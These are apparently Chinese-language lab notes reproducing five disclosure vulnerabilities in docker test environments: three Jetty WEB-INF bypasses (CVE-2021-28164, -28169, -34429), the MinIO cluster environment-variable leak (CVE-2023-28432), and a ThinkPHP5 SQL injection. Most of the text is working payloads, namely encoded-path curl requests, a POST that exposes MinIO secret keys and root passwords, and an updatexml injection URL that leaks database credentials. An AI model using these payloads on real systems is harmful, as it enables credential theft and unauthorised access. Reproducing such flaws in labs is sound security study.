1.Jetty WEB-INF 敏感信息泄露漏洞(CVE-2021-28164)
docker-compose up -d 启动环境,显示8080端口被占用
修改 docker-compose.yml 中的映射端口
curl 访问 http://192.168.48.129:8090/WEB-INF/web.xml
显示404:
通过 %2e 绕过
curl -v 'http://192.168.48.129:8090/./WEB-INF/web.xml'
2. Jetty 通用 Servlets 组件 ConcatServlet 信息泄露漏洞(CVE-2021-28169)
环境启动后,访问http://your-ip:8080
即可查看到一个example页面。该页面使用到了ConcatServlet
来优化静态文件的加载:
<link rel="stylesheet" href="/static?/css/base.css&/css/app.css">
漏洞利用
正常通过/static?/WEB-INF/web.xml
无法访问到敏感文件web.xml:
对字母W
进行双URL编码(%2557),即可绕过限制访问web.xml:
3.Jetty WEB-INF 敏感信息泄露漏洞(CVE-2021-34429)
Eclipse Jetty是一个开源的servlet容器,它为基于Java的Web容器提供运行环境。
Jetty在9.4.40后修复了因为%2e
导致的敏感信息泄露漏洞CVE-2021-28164,但这个修复是不完全的,通过下面三种方式可以进行绕过:
- unicode形式URL编码:
/%u002e/WEB-INF/web.xml
\0
组合.
导致的绕过:/.%00/WEB-INF/web.xml
\0
组合..
导致的绕过:/a/b/..%00/WEB-INF/web.xml
影响版本:9.4.37-9.4.42, 10.0.1-10.0.5, 11.0.1-11.0.5
漏洞复现:
直接访问/WEB-INF/web.xml
将会返回404页面:
使用/%u002e/WEB-INF/web.xml
来绕过限制下载web.xml:
4.MinIO集群模式信息泄露漏洞 (CVE-2023-28432)
执行如下命令启动一个MinIO集群,其中包含3个以集群模式运行的服务:
docker compose up -d
集群启动后,访问http://your-ip:9001
可以查看Web管理页面,访问http://your-ip:9000
是API服务。
漏洞复现
这个漏洞存在于API节点http://your-ip:9000/minio/bootstrap/v1/verify
上,发送如下数据包即可查看泄露的环境变量:
(抓包 http://your-ip:9000/minio/bootstrap/v1/verify
)修改 请求头GET 为 POST
可见,其中包含MINIO_SECRET_KEY
和MINIO_ROOT_PASSWORD
。使用这个账号密码,即可成功登录管理后台:
5.ThinkPHP5 SQL注入漏洞/信息泄露
启动后,访问http://your-ip/index.php?ids[]=1&ids[]=2
,即可看到用户名被显示了出来,说明环境运行成功。
访问http://your-ip/index.php?ids[0,updatexml(0,concat(0xa,user()),0)]=1
,信息成功被爆出:
通过DEBUG页面,我们找到了数据库的账号、密码
这又属于一个敏感信息泄露漏洞。